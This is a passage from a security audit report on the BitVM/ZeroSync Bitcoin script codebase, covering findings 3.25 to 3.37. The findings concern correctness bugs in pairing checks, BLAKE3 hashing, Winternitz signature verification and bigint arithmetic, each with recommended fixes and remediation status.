While this does mean that the overall behavior is correct, the correctness relies on a delicate interaction between different tapscripts. It is crucial that while the addition check is not sound in MillerPointOpsStep1 with `is_dbl = false` for identical inputs, the hint generation still succeeds and results in a specific output.

Recommendations

The script of `chunk::taps_point_ops::utils_point_add_eval` already handles the similar case `t == -qq` by checking this equation and making the tapscript disprove succeeding in this case.

```
let script = script! {         // tx ty qx qy
    //..

    // qx qy tx ty
    {G2Affine::copy(1)}
    // qx qy tx ty qx qy
    { Fq2::neg(0)}
    // qx qy tx ty qx -qy
    {G2Affine::copy(1)}
    // qx qy tx ty qx -qy tx ty
    {G2Affine::equal()} // q = -t ?
    // qx qy tx ty 0/1
```

```
    OP_IF // q == -t
        // [q, t]
        {G2Affine::roll(1)}
        // [t, q]
        {drop_and_insert_zero}
```

We recommend that the case `t == qq` is handled in the same way.

```
let script = script! {        // tx ty qx qy
    //..

    // qx qy tx ty
    {G2Affine::copy(1)}
    // qx qy tx ty qx qy
    { Fq2::neg(0)}
    // qx qy tx ty qx -qy
    {Fq2::copy(6)}
    // qx qy tx ty qx
    {G2Affine::copy(1)}
    // qx qy tx ty qx -qy tx ty
    {Fq2::copy(2)}
    // qx qy tx ty qx tx
    {G2Affine::equal()} // q = -t ?
    {Fq2::equal()} // q = t  or q = -t?
    // qx qy tx ty 0/1
    OP_IF // q == -t
    OP_IF // q == t or q == -t
        // [q, t]
        {G2Affine::roll(1)}
        // [t, q]
        {drop_and_insert_zero}
```

The return value of the Rust function and hint generation must then be changed accordingly.

With this change, the hint generation would directly disprove the disprovable addition tapscript. The addition script would not be executed with identical points; thus, the tapscript would not rely on a specific behavior of this script in an unsound case.

Remediation

This issue has been acknowledged by ZeroSync.

3.25. Differing Bitcoin script and Rust function return value

Target	chunk::taps_point_ops, chunk::taps_msm		
Category	Coding Mistakes	**Severity**	Low
Likelihood	N/A	**Impact**	Informational

Description

Several Rust functions simultaneously return a Bitcoin script and the value that the execution of that Bitcoin script would result in for the values provided as arguments to the Rust function.

We found that in the following cases, the value computed in the Rust code does not agree with the result of the script.

Differences in `taps_point_ops::chunk_init_t4`

In the function `taps_point_ops::chunk_init_t4`, the point given by the arguments `ts` is returned if the condition `are_valid_fps` holds, while the script only returns the same value if additionally `is_on_curve` is fulfilled. In the case where `are_valid_fps` is true but `is_on_curve` is false, the results differ.

```
pub(crate) fn chunk_init_t4(ts: [ark_ff::BigInt<4>; 4]) -> (ElemG2Eval, bool,
    Script, Vec<Hint>) {
    // ...
    let are_valid_fps = ts.iter().filter(|f| **f <
    ark_bn254::Fq::MODULUS).count() == ts.len();
    // ...
    if are_valid_fps {
        // FINDING this is not consistent with stack if ts are not on curve
        t4.t = ark_bn254::G2Affine::new_unchecked(
            ark_bn254::Fq2::new(ts[0].into(), ts[1].into()),
            ark_bn254::Fq2::new(ts[2].into(), ts[3].into()),
        );
    }

    let ops_scr = script! {
        // ...
        OP_IF // are_valid_fps
            // ..
            {on_curve_scr}
            OP_IF // t4.t.is_on_curve
```

```
                // only here, t4 is left on stack
                // ...
            OP_ELSE
                // replace t4 by mock value
                for _ in 0..4 {
                    {Fq::drop()}
                }
                {G2Affine::push(mock_t)}
                // ...
            OP_ENDIF
        OP_ELSE
            // replace t4 by mock value
            for _ in 0..4 {
                {Fq::drop()}
            }
            {G2Affine::push(mock_t)}
                // ...
        OP_ENDIF

    };

    (t4, is_valid_input, ops_scr, hints)
}
```

Differences in `taps_msm::chunk_msm`

Similarly, the scripts generated by `tap_msm::chunk_msm` return the mock value `(1,0)` when supplied with an input scalar that is not less than `r`, but the Rust function computes the value for the input `1`.

If `NUM_PUBS>1`, more incorrect return values occur due to Finding 3.18. ↗.

Impact

Incorrect results in Rust code can lead to incorrect operator assertions and incorrect hints generated for subsequent script segments.

The differences above occur under the condition that the script and the Rust function consider the input to be invalid. The result is then used as a segment result, and the generation of this segment does not use the result value apart from this. Thus, while the generated assertion will be incorrect, the segment where the difference occurred was already disprovable and the hints generated up to that point suffice to disprove the segment.

Recommendations

Change the returned values of the Rust functions to match the values computed by the scripts, or use `Option` types and return `None` if the returned value should be ignored to avoid instantiation of Rust types with invalid values.

Remediation

This issue has been acknowledged by ZeroSync.

3.26. Missing check that stack is empty when placing lookup tables for hash computation

Target	hash::blake3		
Category	Soundness	**Severity**	High
Likelihood	N/A	**Impact**	Informational

Description

This finding is concerned with the hash-script section of the tapscripts (see section 5. ↗). The hash script makes use of the blake3 script generated by `hash::blake3::blake3`. The blake3 script expects a fixed number of stack elements and computes their blake3 hash. The remainder of the hash script then compares the computed hash to the hashes asserted by the operator and uses this to decide whether the disprove was successful.

To facilitate the computation, the blake3 script places lookup tables on the stack that are expected to be on its bottom. It does this by pushing the expected number of input stack arguments to the altstack and then pushing the lookup tables to the top of the stack. The script only works correctly if the stack is empty when the tables are put on the stack.

We found that the blake3 script does not check whether the stack is empty before pushing the lookup tables.

Impact

If the witness given by the challenger has more elements than expected, there are excess elements on the stack when the hash script is called (see Discussion section 4.3. ↗). Because the blake3 script references the lookup tables from the bottom of the stack, it uses the excess elements instead of the lookup tables. This allows significant manipulation of the hash output.

The output of the blake3 script in this case differs from the correct hash. The challenger can use this to either post incorrect inputs and manipulate their hashes to be erroneously accepted or manipulate the hash computation of the result such that it does not match with the asserted hash. In both cases, the challenger could erroneously disprove valid assertions.

With the current hash script, this behavior cannot be exploited. The complete hash script always pushes and consumes the same amount of stack elements. If the challenger would provide hints that remain when the lookup tables are pushed, the stack at the end of the total script execution would also contain additional elements. Due to the added consensus rule enforcing a clean stack check in the SegWit and Taproot update of Bitcoin, the script cannot be successful for Taproot scripts.

Recommendations

The conditions that prevent this bug from being exploitable depend on incidental details of the script implementation.

We recommend to add a check that the stack is empty before placing the lookup tables or to reference the lookup tables from the top of the stack.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit 08d80cae ↗.

3.27. Blake3 script incorrect for more than 1,024 bytes of input or more than 32 bytes of output

Target	hash::blake3_utils		
Category	Coding Mistakes	**Severity**	Low
Likelihood	Medium	**Impact**	Low

Description

The following excerpt from `blake3_utils::init_state` corresponds to assigning the words `v12, v13, v14, v15` in the state to `t_0, t_1, b, d` in section 2.2 of the BLAKE3 specification.

```
state.push(stack.number_u32(0));
state.push(stack.number_u32(counter));
state.push(stack.number_u32(block_len));
state.push(stack.number_u32(flags));
```

In this implementation, `counter` is 32 bits; in the specification, `t_0` is the low-order word of a 64-bit counter, and `t_1` is the high-order word. Pushing `0` before `counter` is effectively treating `counter` as `t_1` instead of as `t_0`, which is inconsistent with the specification's endianness.

Additionally, the following excerpt from `blake3_utils::compress` corresponds to $h'_i \leftarrow v'_i \oplus v'_{i+8}$, which is only correct for $0 \leq i < 8$. For $8 \leq i < 16$, the specified formula is $h'_i \leftarrow v'_i \oplus h_{i-8}$, where h is the state prior to the application of the round functions.

```
for i in (0..final_rounds).rev() {
    let mut tmp = Vec::new();

    //iterate nibbles
    for n in 0..8 {
        let v2 = *state.get(&(i + 8)).unwrap();
        let v1 = state.get_mut(&i).unwrap();
        tmp.push(xor_2_nibbles(stack, v1, v2, 0, n, tables.use_full_tables));

        if last_round && n % 2 == 1 {
            stack.to_altstack();
            stack.to_altstack();
        }
    }
    if !last_round {
        for _ in 0..8 {
            stack.to_altstack();
```

```
        }
    }
}
```

Impact

Since this implementation is limited to one blake3 chunk (1,024 bytes), and $t_1 \cdot 2^{64} + t_0$ is a count in chunks, this does not currently (at the time of writing) affect correctness (i.e., `counter` is always 0 in the current implementation), but this will affect correctness if that limitation is ever lifted.

Similarly, since `compress` is only called with `final_rounds = 8`, h'_8 through h'_{15} are never computed. These values would be needed for producing outputs in the 33–64-byte range, but since the resulting hash value is truncated to `BLAKE3_HASH_LENGTH = 20` bytes, they are currently unneeded.

Recommendations

Either push `counter` before 0 or remove `counter` from the implementation if it is expected that support for inputs larger than one chunk will never be needed.

```
state.push(stack.number_u32(0));
state.push(stack.number_u32(counter));
state.push(stack.number_u32(0));
state.push(stack.number_u32(block_len));
state.push(stack.number_u32(flags));
```

Add an assertion that `final_rounds` equals 8 to `compress`, with a comment indicating that changes must be made if more than 32 output bytes are needed.

Remediation

This issue has been acknowledged by ZeroSync, and fixes were implemented in the following commits:

- 2b07d57c ↗
- 83d9e1a1 ↗

3.28. Insufficient validation of generated hints

Target	chunk::api_runtime_utils::utils_execute_chunked_g16		
Category	Code Maturity	**Severity**	Low
Likelihood	Low	**Impact**	Low

Description

The function `utils_execute_chunked_g16` executes disprove scripts for all segments. It either executes with `disprove_scripts` holding the full tapscripts and `bc_hints` holding signature hints or `disprove_scripts` holding the ops script plus hash script and `bc_hints`, a script pushing assertions directly to the altstack.

It checks whether the scripts execute unsuccessfully and end with an empty stack, or execute successfully. It stops at the first successfully executed script, indicating that the result assertion for this script was disprovable.

When a script executes unsuccessfully, the intended cause is that the script executed with the correct hints until the end, but the result agreed with the asserted one. However, the check that the stack is empty after execution does not necessarily mean that the script executed until the end, because it could also abort when too few computational hints were supplied and the stack ran empty.

Impact

If the generated hints for the segment were incorrect in such a way that the script would abort on an empty stack, the function would not check if the result assertion was correct. The function is used in signature generation to check if the signed assertions are correct. An incorrect result assertion would not be detected, and the function would not prevent the operator from signing an incorrect assertion.

Recommendations

Add a check that the script ended without any script remaining (this can happen in the final segment) or with only the final `OP_TRUE` remaining:

```
if exec_result.final_stack.len() != 1 {
    println!("final {:?}", i);
    println!("final {:?}", segments[i].scr_type);
    panic!();
}
```

```
if exec_result.remaining_script != "OP_PUSHNUM_1" && exec_result.remaining_
    script != "" {
    println!("Script terminated early {:?} {:?}", exec_result.remaining_
        script, segments[i].scr_type);
    panic!();
}
```

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit f348372d ↗.

3.29. Function `hinted_mul_keep_elements` in `Fq6` expects arguments on top of stack

Target	bn254::fq6		
Category	Coding Mistakes	**Severity**	Low
Likelihood	N/A	**Impact**	Low

Description

The function `bn254::fq6::hinted_mul_keep_elements` has arguments `a_depth` and `b_depth`, suggesting a caller can indicate arbitrary argument stack positions. The implementation, however, expects both arguments to be at the top of the stack; thus, `(a_depth, b_depth)` can only be `(0,6)` or `(6,0)`.

This error arises because the script `preserve_scr`, passed as the `keep_element_scr` argument to `hinted_mul_core`, duplicates the two `Fq6` arguments at depth 6 and 12 on the stack.

```
// bitvm/src/bn254/fq6.rs:
// [...]
pub fn hinted_mul_keep_elements(
    a_depth: u32,
    a: ark_bn254::Fq6,
    b_depth: u32,
    b: ark_bn254::Fq6,
) -> (Script, Vec<Hint>) {
    let preserve_scr = script! {
        {Fq6::toaltstack()}
        {Fq12::copy(0)}
        {Fq6::fromaltstack()}
    };

    Self::hinted_mul_core(a_depth, a, b_depth, b, preserve_scr)
}
// [...]
```

At the point in `hinted_mul_core` where `keep_element_scr` is called, three `Fq2` elements have effectively been put on the stack. For the given `keep_element_scr` to duplicate the original script arguments, they must have been on the top of the stack at the beginning.

```
// bitvm/src/bn254/fq6.rs:
// [...]
```

```
fn hinted_mul_core(
    mut a_depth: u32,
    mut a: ark_bn254::Fq6,
    mut b_depth: u32,
    mut b: ark_bn254::Fq6,
    keep_elements_scr: Script,
) -> (Script, Vec<Hint>) {
    // [...]
    let script = script! {
        // compute ad = P(0)
        // [...] Result: one Fq2-element on top of stack

        // compute (a+b+c)(d+e+f) = P(1)
        // [...] Result: one Fq2-element on top of stack

        // compute (a-b+c)(d-e+f) = P(-1)
        // [...] Result: one Fq2-element on top of stack

        { keep_elements_scr }
```

If the arguments have been at other depths, the unrelated stack elements at original depth 0 and 6 are copied instead, and all offsets after the invocation of `keep_element_scr` reference incorrect unrelated stack positions.

Impact

In the audited codebase, the function is only called for arguments on top of the stack.

While we have not observed an issue in the current state of the codebase connected to this, this error could cause mistakes in the future.

Recommendations

We recommend to remove the depth arguments of this function.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit `2eef327a` ↗.

3.30. Function `winternitz_message_checksig_verify` in `signatures` can be incorrect if the message size mismatches

Target	signatures::signing_winternitz		
Category	Coding Mistakes	**Severity**	Low
Likelihood	Low	**Impact**	Low

Description

The function `signatures::signing_winternitz::winternitz_message_checksig_verify` in bitvm/src/signatures/signing_winternitz.rs generates a Bitcoin script that verifies a Winternitz signature and clears the stack.

First, the function utilizes the script produced by `WINTERNITZ_MESSAGE_VERIFIER.checksig_verify(&public_key.parameters, &public_key.public_key)` to verify the Winternitz signature using the `LipstickVerifier` and the `VoidConverter`. If the signature verifies, this part of the script leaves the message on the stack. The message on the stack consists of `public_key.parameters.message_digit_len` number of digits, each of which is in the range `0..(2^{ps.log2_base})`.

Then, the function generates a script that clears the stack by the following snippet:

```
for _ in 0..message_size {
    OP_DROP
}
```

This part of the script attempts to remove `message_size` number of elements from the stack, while there are `public_key.parameters.message_digit_len` elements on the stack, and the function `signatures::signing_winternitz::winternitz_message_checksig_verify` does not check if the message size on the stack (`public_key.parameters.message_digit_len`) matches the expected message size (`message_size`).

At least two other functions have similar behavior; the functions `generate_winternitz_checksig_leave_hash` and `generate_winternitz_checksig_leave_variable` in the same file assume that their argument `message_size` is equal to `public_key.parameters.message_byte_len()` and would leave the stack in an inconsistent state should a different value be passed.

Impact

If `message_size` is not equal to the expected value, the script leaves the stack in an inconsistent and unintended state. For example, in the case of `winternitz_message_checksig_verify`, too

many or too few elements will be removed from the stack. On attempted access of elements deeper than the current stack depth, the script returned by the function will fail even if the signature is valid. In the other cases, the inconsistent stack will likely cause failure later in the execution of the overall script.

Recommendations

We recommend adding an assertion to check that `message_size` is equal to `public_key.parameters.message_digit_len` in `winternitz_message_checksig_verify` and an analogous assertion checking that `message_size` is equal to `public_key.parameters.message_byte_len()` in `generate_winternitz_checksig_leave_hash` and `generate_winternitz_checksig_leave_variable`.

Remediation

This issue has been acknowledged by ZeroSync.

ZeroSync provided the following additional information:

> This part of the code is not used in any design.

3.31. Assumptions about bigint parameters throughout implementation

Target	bigint		
Category	Coding Mistakes	**Severity**	Low
Likelihood	N/A	**Impact**	Low

Description

The `BigIntImpl` script-generation functions are parameterized by `N_BITS` and `LIMB_SIZE` (from which other parameters like `N_LIMBS` are derived). Throughout the module are implicit assumptions about these parameters.

- Essentially, all addition and subtraction functions (such as `double`, `add`, `double_add_overflow`, etc.) assume that the target bigint has at least two limbs.
- The `div3` function and its helper `limb_div3_carry` assume a minimum limb size.
- The `mul` function requires that the target bigint has at least two limbs.
- Since Bitcoin's `CScriptNums` only support arithmetic on values in the range $\left[-2^{31}+1, 2^{31}-1\right]$, and `1 << LIMB_SIZE` is used for overflow handling, `LIMB_SIZE` must be less than 31.

Impact

The module explicitly exports the following types, which all satisfy the above assumptions.

```
pub type U254 = BigIntImpl<254, 29>;
pub type U64 = BigIntImpl<64, 16>;
pub type U256 = BigIntImpl<256, 29>;
```

However, the module also allows a user to create a `BigIntImpl` with arbitrary parameters. These instances may behave unexpectedly if the user is not aware of the restrictions on the parameters.

Recommendations

We recommend adding assertions to the script-generation functions to verify the required parameters. These can be written to happen at compile time, as follows.

```
const { assert!(Self::N_LIMBS >= 2) };
const { assert!(Self::LIMB_SIZE < 31) };
```

Remediation

This issue has been acknowledged by ZeroSync, and fixes were implemented in the following commits:

- 1c8926ff
- d9a93015

The relevant effect of of the patches is:

```
impl<const N_BITS: u32, const LIMB_SIZE: u32> BigIntImpl<N_BITS, LIMB_SIZE> {
    pub const N_BITS: u32 = N_BITS;
    pub const LIMB_SIZE: u32 = LIMB_SIZE;
    pub const N_LIMBS: u32 = N_BITS.div_ceil(LIMB_SIZE);
    pub const HEAD: u32 = N_BITS - (Self::N_LIMBS - 1) * LIMB_SIZE;
    pub const HEAD_OFFSET: u32 = 1u32 << Self::HEAD;
    const _ASSERTION1: () = assert!(Self::N_LIMBS > 1);
    const _ASSERTION2: () = assert!(Self::LIMB_SIZE < 31);
}
```

3.32. Incorrect behavior of `limb_to_*` functions if `num_bits <= 1`

Target	bigint::bits		
Category	Coding Mistakes	**Severity**	Low
Likelihood	Low	**Impact**	Low

Description

The following function is intended to pop the top element of the stack and push its little endian bit decomposition to the stack. The function assumes that the top element of the stack indeed fits in only `num_bits`-many bits.

```
// bitvm/src/bigint/bits.rs
pub fn limb_to_le_bits(num_bits: u32) -> Script {
    if num_bits >= 2 {
        script! {
            { limb_to_le_bits_common(num_bits) }
        }
    } else {
        script! {}
    }
}
```

The branch for the case `num_bits < 2` is intended for the case of `num_bits == 1`. If `num_bits == 1`, the limb already is a single bit. Thus, no change of the stack is needed.

In the case `num_bits == 0` however, the optimization is incorrect. The function is assumed to always consume the top stack element, but it fails to do so in this case. This error is present in the functions `limb_to_le_bits`, `limb_to_le_bits_toaltstack`, `limb_to_be_bits`, `limb_to_be_bits_toaltstack`

The function `limb_to_le_bits_toaltstack` is intended behave like `limb_to_le_bits`, except it additionally moves the bit decomposition to the alt stack.

```
pub fn limb_to_le_bits_toaltstack(num_bits: u32) -> Script {
    if num_bits >= 2 {
        script! {
            { limb_to_le_bits_common(num_bits) }
            for _ in 0..num_bits {
                OP_TOALTSTACK
            }
        }
    } else {
```

```
        script! {}
    }
}
```

The implementation does not do anything for `num_bits == 1`. This is incorrect in this case, as the top element of the stack should still be moved to the alt stack. This error is present in the functions `limb_to_le_bits`, `limb_to_le_bits_toaltstack`, `limb_to_be_bits`, `limb_to_be_bits_toaltstack`

Impact

For `num_bits <= 1`, the state of the stack and alt stack after the script will not match the expected behavior. In the codebase, `limb_to_le_bits_toaltstack` is only used in `convert_to_le_bits_toaltstack`, where calls with `num_bits = 1` or `num_bits = 0` would only occur for bigints with limb size of a single bit or hypothetically zero bits (potentially in the top limb). However, that function is in turn only used in places where the bigint is a U254, where this is not the case. The situation for `limb_to_le_bits` is similar.

Recommendations

In the functions `limb_to_le_bits`, `limb_to_le_bits_toaltstack`, `limb_to_be_bits`, `limb_to_be_bits_toaltstack`, either drop the top stack element if `num_bits == 0`, or assert that `num_bits != 0`.

In the function `limb_to_le_bits_toaltstack`, if `num_bits == 1`, a single `OP_TOALTSTACK` should be performed.

```
pub fn limb_to_le_bits_toaltstack(num_bits: u32) -> Script {
    if num_bits >= 2 {
        script! {
            { limb_to_le_bits_common(num_bits) }
            for _ in 0..num_bits {
                OP_TOALTSTACK
            }
        }
    } else {
        script! {}
    }
    } else if num_bits == 1 {
        script! {
            OP_TOALTSTACK
        }
    } else {
```

```
        script! {
            OP_DROP
        }
    }
}
```

Remediation

This issue has been acknowledged by ZeroSync, and fixes were implemented in the following commits:

- 1c8926ff
- b9ca29a6

3.33. Hardcoded limb size in `double_allow_overflow_keep_element`

Target	bigint::add		
Category	Coding Mistakes	**Severity**	Low
Likelihood	Low	**Impact**	Low

Description

In `double_allow_overflow_keep_element`, when copying the final limb from the source bigint, `{ n + 9 } OP_PICK` is used, which hardcodes `U254::N_LIMBS`.

Impact

There is no current impact in the in-scope codebase, since `double_allow_overflow_keep_element` is only used in `fp_lc_mul`, which only instantiates `BigIntImpl` with values such that `N_LIMBS == 9`. However, if different parameters are used, `double_allow_overflow_keep_element` will produce an incorrect output.

The following unit test demonstrates that `double_allow_overflow_keep_element` currently fails for U64:

```
#[test]
fn test_double_allow_overflow_keep_element() {
    let mut prng = ChaCha20Rng::seed_from_u64(0);
    for _ in 0..100 {
        let a: BigUint = prng.sample(RandomBits::new(254));
        let c: BigUint = (a.clone() + a.clone()).rem(BigUint::one().shl(254));

        let script = script! {
            { U254::push_u32_le(&a.to_u32_digits()) }
            { U254::double_allow_overflow_keep_element(0) }
            { U254::push_u32_le(&c.to_u32_digits()) }
            { U254::equalverify(1, 0) }
            { U254::drop() }
            OP_TRUE
        };
        run(script);
    }

    for _ in 0..100 {
        let a: u64 = prng.gen();
        let c = a.wrapping_add(a);
```

```
        let script = script! {
            { U64::push_u64_le(&[a]) }
            { U64::double_allow_overflow_keep_element(0) }
            { U64::push_u64_le(&[c]) }
            { U64::equalverify(1, 0) }
            { U64::drop() }
            OP_TRUE
        };
        run(script);
    }
}
```

Recommendations

Use `Self::N_LIMBS` in place of 9 in `double_allow_overflow_keep_element`:

```
{ n + 9 } OP_PICK { limb_double_with_carry_allow_overflow(Self::HEAD_
    OFFSET) }
{ n + Self::N_LIMBS } OP_PICK { limb_double_with_carry_allow_overflow(
    Self::HEAD_OFFSET) }
```

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit `1c8926ff` ↗.

The relevant section of the patch is:

```
{ n + 9 } OP_PICK { limb_double_with_carry_allow_overflow(Self::
    HEAD_OFFSET) }
{ n * Self::N_LIMBS + Self::N_LIMBS } OP_PICK { limb_double_with_
    carry_allow_overflow(Self::HEAD_OFFSET) }
```

The change from `n` to `n * Self::N_LIMBS` is part of the fix for 3.44. ↗.

3.34. Silent truncation of input int by `push_u32_le`

Target	bigint::std		
Category	Coding Mistakes	**Severity**	Low
Likelihood	N/A	**Impact**	Low

Description

The `push_u32_le` function takes as input an array of `u32` values and produces a script that regards it as a bigint and pushes it onto the stack. However, it is possible for the input to exceed the maximum bigint size, which results in the excess being silently truncated.

```
let mut bits = vec![];
for elem in v.iter() {
    for i in 0..32 {
        bits.push((elem & (1 << i)) != 0);
    }
}

bits.resize(N_BITS as usize, false);
```

Impact

Since this function is used to generate a script, the inputs should be known statically. There is no reason to silently swallow the error, if the input is greater than it should be. This can be risky for developers.

Recommendations

We recommend adding an assertion that the input fits within the `N_BITS` limit.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit `1c8926ff` ↗.

The relevant section of the patch is:

```
+ // make sure most significant 1 lies inside the limits
+ let ms_one = if bits.len() > 0 {
```

```
        let mut ms_one = bits.len() - 1;
        while !bits[ms_one] {
            if ms_one != 0 {
                ms_one -= 1;
            } else {
                break;
            }
        }
        ms_one
    } else {
        0
    };
    assert!(ms_one < Self::N_BITS as usize);
    bits.resize(N_BITS as usize, false);
```

3.35. Incorrect range for powers of 2 in `limb_shr1_carry`

Target	bigint::inv		
Category	Coding Mistakes	**Severity**	Low
Likelihood	N/A	**Impact**	Low

Description

In `limb_shr1_carry`, `powers_of_2_script` incorrectly pushes powers of 2 starting with 2^0 instead of starting with 2^1 if `num_bits < 7`.

Impact

As of the time of writing, there is no impact since limb sizes smaller than 7 are not currently instantiated.

The following test demonstrates the error for a limb size of 4:

```
#[test]
fn test_limb_shr1_carry_fixed_input() {
    let input = 15;
    let limb_size = 4;

    let mut a: u32 = input;
    a %= 1 << limb_size;

    let script = script! {
        { a }
        { 0 }
        { limb_shr1_carry(limb_size) }
        { a & 1 } OP_EQUALVERIFY
        { a >> 1 } OP_EQUAL
    };

    run(script);

    let mut a: u32 = input;
    a %= 1 << limb_size;

    let script = script! {
        { a }
        { 1 }
```

```
        { limb_shr1_carry(limb_size) }
        { a & 1 } OP_EQUALVERIFY
        { (1 << (limb_size-1)) | (a >> 1) } OP_EQUAL
    };

    run(script);
}
```

Recommendations

Adjust the range of the loop in `powers_of_2_script` from `0..num_bits-1` to `1..num_bits`:

```
let powers_of_2_script = if num_bits < 7 {
    script! {
        for i in 0..num_bits-1 {
        for i in 1..num_bits {
            { 2_u32.pow(i) }
        }
    }
} else {
```

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit `1c8926ff` ↗.

The recommended patch is directly present in the commit.

3.36. Usage of incorrect type in `tmul` could cause failure in some configurations

Target	bn254::fq::fp_lc_mul		
Category	Coding Mistakes	**Severity**	Low
Likelihood	N/A	**Impact**	Low

Description

The `fp_lc_mul` macro in bitvm/src/bn254/fq.rs can be used to implement different variants of multiplication for the `Fq` field. The implementation of `tmul` created by `fp_lc_mul` will use a bigint type `T` for intermediate computations, with the bit width of `T` depending on the parameters passed to `fp_lc_mul`.

The `tmul` function is part of a trait implementation for the type `Fq`, so `Self::N_LIMBS` is equal to `Fq::N_LIMBS`, which is 9, for limbs of bit width 29 (except the top one) for a total width of 254 bits. Depending on the parameters passed to `fp_lc_mul`, the number of limbs of `T` may be `9` or higher.

However, in one part of the `tmul` script, `Self::N_LIMBS` is used to operate on the stack, even though the relevant type is `T`:

```
if i + j == MAIN_LOOP_START && j == 0 {
    for _ in 0..Self::N_LIMBS {
        OP_NIP
    }
    { NMUL(Self::N_LIMBS) }
    OP_DUP OP_PICK
    for _ in 0..Self::N_LIMBS-1 {
        OP_SWAP
        OP_DUP OP_PICK
    }
    OP_NIP
} else {
    { T::add_ref_stack() }
}
```

Impact

If the relevant parameters make `T` have at least 10 limbs, then the `tmul` script will likely fail or otherwise behave incorrectly.

At the time of writing, no instances actually used in the codebase use a configuration in which `T` has more than nine limbs, so this issue does not occur. Tests are highly likely to catch this issue, so it is

unlikely that a version would be deployed with a configuration that can trigger this issue.

Recommendations

We recommend to replace `Self` by `T` in the above instances:

```
if i + j == MAIN_LOOP_START && j == 0 {
    for _ in 0..Self::N_LIMBS {
    for _ in 0..T::N_LIMBS {
        OP_NIP
    }
    { NMUL(Self::N_LIMBS) }
    { NMUL(T::N_LIMBS) }
    OP_DUP OP_PICK
    for _ in 0..Self::N_LIMBS-1 {
    for _ in 0..T::N_LIMBS-1 {
        OP_SWAP
        OP_DUP OP_PICK
    }
    OP_NIP
} else {
    { T::add_ref_stack() }
}
```

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit 13996a02 ↗.

3.37. The `tmul` script is unable to handle small negative results

Target	bn254::fq::fp_lc_mul		
Category	Coding Mistakes	**Severity**	Low
Likelihood	N/A	**Impact**	Low

Description

The `fp_lc_mul` macro in bitvm/src/bn254/fq.rs can be used to implement different variants of multiplication for the `Fq` field, via a function `tmul`. The inputs to `tmul` are values x_i and y_i that are bigints representing elements of the field `Fq`, and `tmul` is intended to compute $\sum_{i=0}^{L-1} s_i \cdot x_i \cdot y_i$ with arithmetic in the field `Fq`, with s_i fixed constant signs, that is $s_i \in \{-1, 1\}$.

To help with this, `tmul` also receives a hint `q` for the quotient of the division of $\sum_{i=0}^{L-1} s_i \cdot x_i \cdot y_i$, computed with integer arithmetic, by the prime order p of `Fq`. There are different rounding conventions one can take, and the Rust bigint type used to handle hints in the Rust code round towards zero. Before we continue, let us introduce the following notation:

$$S = \left(\sum_{i=0}^{L-1} s_i \cdot x_i \cdot y_i\right)$$
$$c = S - q \cdot p$$

If $S \geq 0$, then q will be nonnegative, rounded down, and hence $0 \leq c < p$. If instead $S < 0$, then q will be rounded up, and we obtain that $-p < c < 0$.

This means we obtain the following identity, where r stands for the unique integer with $0 \leq r < p$ that is congruent to $\sum_{i=0}^{L-1} s_i \cdot x_i \cdot y_i$ modulo p:

$$r = \begin{cases} c & \text{if } c \geq 0 \\ c + p & \text{if } c < 0 \end{cases}$$

The main part of the `tmul` script computes c. The final passage is then intended to clean up, compute r from c, and check that the result lies in the range from 0 to $p - 1$:

```
{ T::is_positive(size_table(MOD_WIDTH) +                // q was negative
    N_LC * size_table(VAR_WIDTH) + N_LC) } OP_TOALTSTACK // {-q_table}
    {x0_table} {x1_table} {y0} {y1} {r} -> {0/1}
{ T::toaltstack() }                                     // {-q_table}
    {x0_table} {x1_table} {y0} {y1} -> {r} {0/1}

// Cleanup
for _ in 0..N_LC { { T::drop() } }             // {-q_table} {x0_table}
```

```
    {x1_table} -> {r} {0/1}
for _ in 0..N_LC { { drop_table(VAR_WIDTH) } } // {-q_table} -> {r} {0/1}
{ drop_table(MOD_WIDTH) }                      // -> {r} {0/1}

// Correction/validation
// r = if q < 0 { r + p } else { r }; assert(r < p)
{ T::push_u32_le(&Fq::modulus_as_bigint().to_u32_digits().1) } // {MODULUS} ->
    {r} {0/1}
{ T::fromaltstack() } OP_FROMALTSTACK // {MODULUS} {r} {0/1}
OP_IF { T::add_ref(1) } OP_ENDIF      // {MODULUS} {-r/r}
{ T::copy(0) }                        // {MODULUS} {-r/r} {-r/r}
{ T::lessthan(0, 2) } OP_VERIFY       // {-r/r}

// Resize res back to N_BITS
{ T::resize::<N_BITS>() } // {r}
```

As the comment indicates, the `T::is_positive` subscript pushes a bool onto the stack indicating whether $-q > 0$ or equivalently $q < 0$. Later, this bool is used to compute r as follows, where we use r' as notation for what the script calculates for r:

$$r' = \begin{cases} c & \text{if } q \geq 0 \\ c + p & \text{if } q < 0 \end{cases}$$

Note that this formula differs from the correct formula that we gave above. We can distinguish three cases.

Case $0 \leq S$

In this case, we will have that $0 \leq q$ as well and rounded down so that $c \geq 0$, so r and r' agree.

Case $-p < S < 0$

In this case, we will have $-1 < \frac{S}{p} < 0$ and hence will get $q = 0$, while $c = S < 0$. This means that while $r = c + p$, the script uses $r' = c$. This value will then fail the range check, so the script will fail.

Note that this cannot be fixed by using a different q. For any $q \geq 0$, one would have $c = S - q \cdot p < 0$ and thus $r' = c < 0$. And for any $q < 0$, one would have $c = S - q \cdot p > -p + p = 0$ and hence $r' = c + p > 0 + p = p$.

Thus, whenever $-p < S < 0$, no matter what q is chosen, the range check for r' will fail at the end.

Case $S \leq -p$

In this case, we will have that $\frac{S}{p} \leq -1$ and hence $q < 0$ and rounded up so that $c < 0$, and hence r

and r' agree.

Impact

No linear combinations of products can be computed with `tmul` for which $-p < \sum_{i=0}^{L-1} s_i \cdot x_i \cdot y_i < 0$. Note that this can only occur if at least one s_i is negative, which is not the case in all instances of `tmul` in the current codebase. The current codebase is thus not affected.

The following test demonstrates the issue, should a variant of `tmul` with a negative sign be used:

```
fp_lc_mul!(ZellicMulNegative, 3, 3, [false]);

#[test]
fn test_zellic_tmul_negative() {
    type U = <Fq as Fp254ZellicMulNegative>::U;
    type T = <Fq as Fp254ZellicMulNegative>::T;

    let lcs = <Fq as Fp254ZellicMulNegative>::LCS;

    let zero = &BigInt::ZERO;
    let modulus = &Fq::modulus_as_bigint();

